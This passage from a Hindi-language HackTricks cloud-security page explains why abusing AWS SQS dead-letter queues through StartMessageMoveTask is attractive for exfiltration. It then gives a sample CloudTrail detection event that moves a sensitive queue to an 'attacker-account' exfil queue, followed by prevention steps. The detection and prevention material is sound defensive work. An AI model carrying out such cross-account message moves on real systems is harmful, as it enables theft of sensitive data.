2. **बड़े पैमाने का ऑपरेशन**: धीमी व्यक्तिगत पहुँच की बजाय हजारों संदेशों को तेज़ी से स्थानांतरित करता है
3. **ऐतिहासिक डेटा**: DLQs हफ्तों/महीनों में संवेदनशील डेटा जमा कर लेते हैं
4. **कम निगरानी**: कई संगठन DLQ एक्सेस की कड़ी निगरानी नहीं करते
5. **क्रॉस-एकाउंट सक्षम**: यदि अनुमतियाँ अनुमति दें तो हमलावर अपने AWS खाते में exfiltrate कर सकता है
## पहचान और रोकथाम
### पहचान
संदिग्ध `StartMessageMoveTask` API कॉल्स के लिए CloudTrail की निगरानी करें:
```json
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
```
### रोकथाम
1. **Least Privilege**: `sqs:StartMessageMoveTask` permissions केवल आवश्यक रोल्स तक सीमित रखें
2. **Monitor DLQs**: असामान्य DLQ गतिविधि के लिए CloudWatch alarms सेट करें
3. **Cross-Account Policies**: cross-account access की अनुमति देने वाली SQS queue policies को सावधानी से समीक्षा करें
4. **Encrypt DLQs**: सीमित key policies के साथ SSE-KMS का उपयोग करें
5. **Regular Cleanup**: संवेदनशील डेटा को DLQs में अनिश्चितकाल तक जमा न होने दें
{{#include ../../../banners/hacktricks-training.md}}